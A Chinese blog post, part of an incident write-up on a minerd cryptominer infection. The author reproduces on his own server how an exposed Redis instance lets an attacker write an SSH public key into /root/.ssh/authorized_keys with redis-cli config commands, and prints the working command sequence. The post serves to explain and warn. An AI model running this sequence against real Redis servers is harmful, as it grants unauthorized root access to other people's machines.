minerd木马攻击处理(2)
杀毒算完成了，可是他是怎么进来的呢。。。因为是我刚安装的系统，就只装了个redis和rabbitmq 其他应用都没有呢
我发现我的redis的 bind 0.0.0.0:6379
默认的。。。。应该是这边进来的。我自己做了下尝试。。。
[root@ll_sas01 ~/.ssh]# redis-cli
127.0.0.1:6379> set aa "公钥"
OK
127.0.0.1:6379> config set dir /root/.ssh/
OK
127.0.0.1:6379> config set dbfilename "authorized_keys"
OK
127.0.0.1:6379> save
[root@ll_sas01 ~/.ssh]# cat authorized_keys
ssh-rsaAAAAB3NzaC1yc2EAAAABdadasdAAQEAvPgr/WFKd9h/3e2ik6BmLj4OIdnBNJelaNCOAWwdKQx0WjDtF root@dawdaw
夭寿拉。妈蛋的竟然真的这样可以吧自己的公钥刷进来。。。
奉劝大家不要黑别人的服务器，运维何苦为难运维。。。
通过这个网站可以查到开放的数据，就不给大家公开了，我得数据可能就是在这里被获取的。
黑客攻击事件到此完了
- 上一篇：浅析如何利用DNS预读取技术绕过CSP
- 下一篇：minerd木马攻击处理(1)
相关文章
图文推荐
- 文章
- 推荐
- 热门新闻